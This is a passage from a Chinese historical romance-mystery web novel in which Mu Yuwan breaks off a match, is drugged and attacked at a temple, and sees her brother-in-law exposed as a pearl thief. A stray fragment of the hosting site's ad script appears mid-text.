石秀梅对慕喻晚道:“慕姑娘,我不如你有福气,我知道我和厉公子既没有人牵桥搭线,也不是门当户对,连媒妁之言都没有,有的只是他对我的一句承诺,但是你可以问问他,他答应过娶我没有。” 慕喻晚看向厉青石,厉青石沉默了,答案自不必说。 石秀梅继续哭道:“慕姑娘,我不求当正妻,只是我真的心悦青石,以后我当妾服侍你也心甘情愿的,你不用担心任何事,我不会和你争名分、地位,只要让我留在青石身边。” 厉青石终于上来拉拽她,喝止道:“别说了!” 慕喻晚冷眼瞧了他一眼,他垂下手退到一边。 石秀梅谢道:“谢谢姑娘。我知道青石和你上次见过面,回家后他很高兴,我整宿整宿睡不着觉。今天听说青石来了慕家,我就很担心他是来提亲的,我实在待不下去了于是跟过来了,希望你不要怪我自作主张,叨扰府上实在不好意思,但我为慕姑娘着想,也实在是想让姑娘正确、全面看待这一桩婚事。如果姑娘你嫁给青石后才发现我的存在,那个时候我想姑娘也不会不生怨气的。” 慕喻晚拿着手上的香囊,想藏起来这玩意儿,毕竟这时候她拿着香囊站在众人面前显得很可笑,慕喻晚想了想将香囊塞到石秀梅手上:“石姑娘,这个香囊我就送给你了,当作你和厉公子的新婚礼物。” 厉青石怔然抬头,震惊望她,他从慕喻晚刚才出来就看见她手上的香囊了。 慕喻晚继续道:“我最要谢谢你来这一趟,告诉了我这一切,有时候人确实容易看不清一个人,与其等到事后怨恨、后悔、懊恼,我更愿意提前把事情了解清楚再做决定,我喜欢诚实的人,不喜欢别人蒙骗我。” 厉青石喃喃道:“慕姑娘,你听我解释,我那时候只是想救她,不是真想娶她。” 慕喻晚偏过头,眼睛却没看厉青石,镇静道:“不管你对她是不是真心,她对你确实是一片倾心,这是无非更改的事实,并且这种倾心短时间内不可能会消失。更何况,这等大事,既然已发承诺,就该妥善处置这承诺,厉公子是忠厚可靠之人,我想我不会看错人,厉公子与石姑娘是般配的一对,往后你好好对待石姑娘。” 厉青石沉默,捏紧拳头。 慕夏此时也收起怪罪的情绪,他站到慕喻晚身边,“我还以为你经历了两次这样的事,必然是要哭鼻子的。” 慕喻晚笑道:“我又不是小孩。” 慕夏对厉青石道:“厉岩,我原先是不知道你金屋藏娇,如果是这样,你就该好好安置人家姑娘。以后,我们还是好兄弟,但是我妹子的事我自会从长计议,这就与你再无关系了。” 厉青石抑制着自己的情绪,缓缓说出:“好。” 21. 第 21 章 三月十五,慕喻晚跟着母亲和余姨娘去善业寺烧香礼佛,善业寺位于燕京城郊。这座古寺坐落已有百年历史,百年来一直香火旺盛。 敬了香,磕了头,慕喻晚听僧人说今天有大信徒来寺庙里,看到西禅房那边围着的人统一穿青色长衫,她问是不是沈国公,小和尚回答她是。 慕喻晚偷偷避开人耳目,潜过去,和守门的男子说:“我想要求见沈国公,麻烦通融一下?” 守门的男子看她,也许是打量着她穿着打扮不俗,他了然笑道:“姑娘,今日大人和高僧研讨佛法,不见客,还是请回吧。” 慕喻晚脚步踟蹰,正好看到鲍管鸣走出来,她赶紧挥手:“鲍大哥!” 鲍管鸣看到她惊奇了一下,立刻让守门的人退下去,鲍管鸣问她来干什么,慕喻晚说:“我今天跟家人来烧香,听说沈大人也在,我有点事要跟大人说。” 鲍管鸣点头,“跟我来。”他一边走一边说:“下次直接找我就行了。” 慕喻晚到了门前,鲍管鸣通报一声,里头叫进来,慕喻晚谢了鲍管鸣,她稳了稳心绪进门。 沈秋珏正靠在榻上看书,看着是本什么经书,起身倒了茶推给她,“有什么事?” 慕喻晚从怀里掏出钗子来,放在桌上,沈秋珏目光落在钗子上的目光有些微妙,他问:“今天怎么不戴?” 慕喻晚行了礼,“珠钗遗失纯属意外,大人实在没理由送我一个新的,太贵重了。” 沈秋珏抿了抿薄唇,抬眼看慕喻晚,他声音有些凉:“姑娘拒收我的东西,却愿意主动送香囊给其他男人,沈某就这么令姑娘讨厌?” 慕喻晚眼眶放大,他什么意思? 慕喻晚没吃过猪肉,但也见过猪跑,至少也看过话本听过唱戏的,男人在女人面前起了和其他男人比较的心思,那么他的意思多少是有点暧昧的。 她突然想起来那天厉青石执着于和沈秋珏相比,问她会不会觉得沈秋珏更厉害更能保护她,她当时觉得莫名其妙,毕竟谁会把情人和官府衙门比? 在她的潜意识里,沈秋珏意味着权威,朝廷的忠臣,边疆的卫士,保护她是自己职责所在,怎么可能有别的心思? 更何况,沈秋珏是沈君念的父亲啊,这关系让她脑子发空。 慕喻晚支支吾吾道:“我……我没有。” 沈秋珏笑了,“慕夏是我得力的下属,我那么看好他,当然不希望他整天为妹妹的亲事烦忧而无心公务。” 慕喻晚松了口气,原来只是因为看在慕夏的份上,沈秋珏看重慕夏也是正常合理,很好的一件事。她回想自己刚才在想什么,不由得红了脸。 沈秋珏看她的神色非常坦然,让她觉得能有那样的想法是更加羞耻的了。 慕喻晚咳嗽了下,“嗯嗯,我替慕家所有人谢过沈大人了。” 沈秋珏莞尔,“是他自己能干争气,不必谢我。钗子你拿回去吧,算帮我个忙,三番四次让姑娘陷入险境,我心里还觉得过意不去。” 慕喻晚惊讶,“不过是意外,关你什么事?”她意识到自己称谓不妥,暗道可恶,改口说:“我是说大人无须自责,命案凶犯每天都有。” 沈秋珏:“那倒不是因为这,你最早今天,最迟明天就会知道,我让你收下这根钗子实在是应该的,我怕姑娘到时候真的讨厌上沈某了。” 看到慕喻晚再次狐疑他的眼神,他慢悠悠补充道:“那到时候慕夏那边我可不好说,所以提前给姑娘赔礼道歉。” 慕喻晚第一反应是听到还是因为慕夏的原因怕她多想,觉得安心下来,等安心完了分析他话里的内容又不明白他在说什么。 提前赔礼道歉?总觉得不会有什么好事发生,像是暗中给她挖了坑让她跳进去。 沈秋珏观察到她的表情,儒雅笑了笑,“但我保证不会让姑娘受到哪怕一点点伤害。” 他拿起钗子,簪到慕喻晚的发髻上,慕喻晚低头摸了摸,簪得还挺好,但是这种行为实在是有点太亲密了,她不自主往后退了一步。 慕喻晚甩掉那点不自在的感觉,“沈大人一诺千金,希望不会食言。” 慕喻晚见外头没人想要趁这个时候溜走,便欲告辞离去,沈秋珏看到她鬼鬼祟祟的样子,不禁好笑:“不知道的还以为你做贼。” 慕喻晚嗔道:“我出现在你禅房,被人看到不好解释,我总得为自己考量打算。” 沈秋珏动了动嘴唇,没说什么,让她走了。 不一会儿,鲍管鸣进来了,沈秋珏问他:“人盯住了吗?” 鲍管鸣点头:“大人放心,几个嫌疑人选我都派人一直跟踪着,慕姑娘的禅房我派几个好手盯梢,还有她前日收下的两个暗卫。” 沈秋珏背着手踱步,“嗯,务必要确保她的安全。” 鲍管鸣欲言又止,最终还是开口:“大人,属下看您这么担心慕姑娘,又为何舍得让她以身涉险?” 沈秋珏斜眼看他,“什么舍得不舍得,记住,现在抓住嫌犯最重要。” 鲍管鸣凛然:“是!” 慕喻晚回到自己禅房,发现朝闻和栖霞都不在,她怎么呼喊都没见到人影,问附近的僧人说是看到两个丫鬟被慕知晨叫走帮忙搬经书了。 慕喻晚很气慕知晨随意支使自己的人,但还是懒得去找了,就离开这一会儿也出不了什么大事。 她走进禅房,关上门,鼻尖嗅到一股淡淡的梨花香。 这香着实厉害,她吸进去一点便头脑发昏四肢酸软无力。还是大意了! 慕喻晚失去意识的时候,有人从背后抱住她,她摸出头上的钗子向后扎去,听到一声闷哼,她手上继续使力,奈何力气实在有限扎不了多深。 门外传来朝闻和栖霞叫她的声音,身后的歹徒明显也慌了神,歹徒转身想强行突破逃走,朝闻和栖霞一起出手瞬间制服了他。 慕喻晚终于没有抵挡昏沉的意识,眼前一黑晕倒过去。朝闻过来扶住她,栖霞在门口擒着歹徒。 过了一刻钟,日头渐西。 慕喻晚在喂了解药的情况下,也很宽地醒过来了,她睁眼看到的是屋子里站满了人。 怎么回事? 沈秋珏、慕夏、栖霞和朝闻、鲍管鸣、慕知晨和裴度,大家都在,只是大家的表情各异。 沈秋珏倒还是那副样子,坐在靠墙的竹椅上,手边放着茶,慕夏则满脸不可置信,慕知晨泫然欲泣,裴度双手被绑缚跪在地上懊恼不已。 慕喻晚起身,栖霞和朝闻立刻过来扶她起来,“怎么回事?” 看来她猜得没错,上次看到黑衣人夜行衣底下的衣料不错,抢走珠钗欲加害于她的人正是裴度。 何冤何仇啊?有必要为了几颗珍珠搞成这样吗? 慕喻晚叹气,沈秋珏看过来问她:“还好吧?” 慕喻晚摇头:“不好。姐夫为何两次挟持我?意欲何为?几颗珍珠你和姐姐也不至于看中成这样。” 裴度跪在地上,咬牙。 鲍管鸣上来踹了他一脚:“老实点,人赃俱获。” 那根珠钗被握在沈秋珏的手心。 慕喻晚的发问,裴度终于回答:“哪来两次?今天这次我认了,要杀要剐随便。姨妹可别冤枉我。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不愧是大理寺少卿出身,面对审讯有一手,只回答提问人其中一个话题,不回答全部。 慕喻晚冷笑道:“你还不承认,三月初五,在湖心岛看到你穿的湖蓝绸子,回家路上挟持我的歹徒,夜行衣底下也穿的湖蓝绸子,上面绣着缠枝和云纹,只有京城东林巷那家成衣铺制作这种花纹的布料。” 裴度头一横:“我说没有便是没有,你们少栽赃陷害我,我是为了取得这颗东珠不假,但是我既然出手怎么还可能同样的方法用两次?再说了,大白天谁穿夜行衣行凶?” 慕喻晚震惊,她看向珠钗的方向,上头是东珠?难怪这种品级的珍珠她从来没见过,她以为是慕夏捡漏了。 东珠是产自北方流域的淡水珠,是只有皇家才可以使用的贡品,平常人用可是杀头的罪名,她还戴了这么多天! 慕喻晚后脖子一凉,仿佛看到了秋后问斩的处决。 那么慕夏拿给她那一支钗子上头也是东珠吗?那一支丢了,沈秋珏为什么又给她找来一个?要知道,找到两颗相差无几的珍珠已是难得,这种东珠那就更难了。 今天沈秋珏跟她提前赔礼道歉,就是因为这件事吗,他竟然瞒着她,甚至利用她引出什么嫌疑人。 慕知晨瘫坐在地上,落下两行眼泪,“喻晚你就放过他吧,三月初五那天,夫君他午时便回来了,一直待在慕家。你回来都到申时了,归途中被挟持的时候,夫君都待在家里没有出去过,顾夫人也可以作证!” 这就是不在场证明吧,看慕知晨说得有理有据,慕喻晚也不必找母亲验证了,她看向沈秋珏,沈秋珏点点头。 “上次真不是你?”慕喻晚震惊道。 那么她听到的声音,看到的衣料,还有那个人根本没想杀她,这些线索的证明呢? 不过思前想后,如果裴度和慕知晨只是想要东珠,上次便已得手,何须这次再次行动? 而且裴度说得很对,他不笨,甚至还很聪明,怎么可能大白天穿夜行衣偷袭人?想来那个人穿夜行衣仿佛要故意引她注意一样。 裴度咬牙:“我盗取东珠,现在落在沈大人手上,悉听处置便罢!” 沈秋珏扬了扬下巴,鲍管鸣押着裴度离开了,想必是押送到牢里去了,就是他本就是大理寺的官员,大理寺想必审理要有所回避了。 慕喻晚看着沈秋珏,希望他给一个解释。 沈秋珏将珠钗收好,从袖子里拿出另一只如意形的簪子,簪子上面镶嵌着一颗大的粉色珍珠,珍珠下面有一束流苏,流苏底部都点缀着石榴石。 沈秋珏:“这支钗子你知道了,东珠非皇室不可以佩戴,不过我想海螺珠与你也更般配。” 慕喻晚没有伸手,“沈大人不该给我个解释吗?” 沈秋珏举着簪子的手停在半空中,他看着慕喻晚不动,似乎还在思忖。 这倒是奇了,他一向是发号施令惯了,跟自己一个小女子说话居然还要斟酌字句吗? “爹爹,我听说你来烧香还抓了个犯人,让我看看是什么犯人啊?”外头闯入一个活蹦乱跳的身影。 沈君念不请自来,她进入禅房看到的便是这样一副画面,她爹和慕喻晚相对无言,她爹还举着簪子送给慕喻晚。 沈君念赶紧碎步跑到旁边,急道:“爹?” 沈秋珏收回手,“念儿先出去。慕姑娘真不打算收下沈某的一片心意?” 沈君念放大瞳孔。 慕喻晚简直想找个地缝钻进去,然而她转头看到沈君念的神情,心中突然生出一个主意。 胆大妄为,却十分美妙的主意。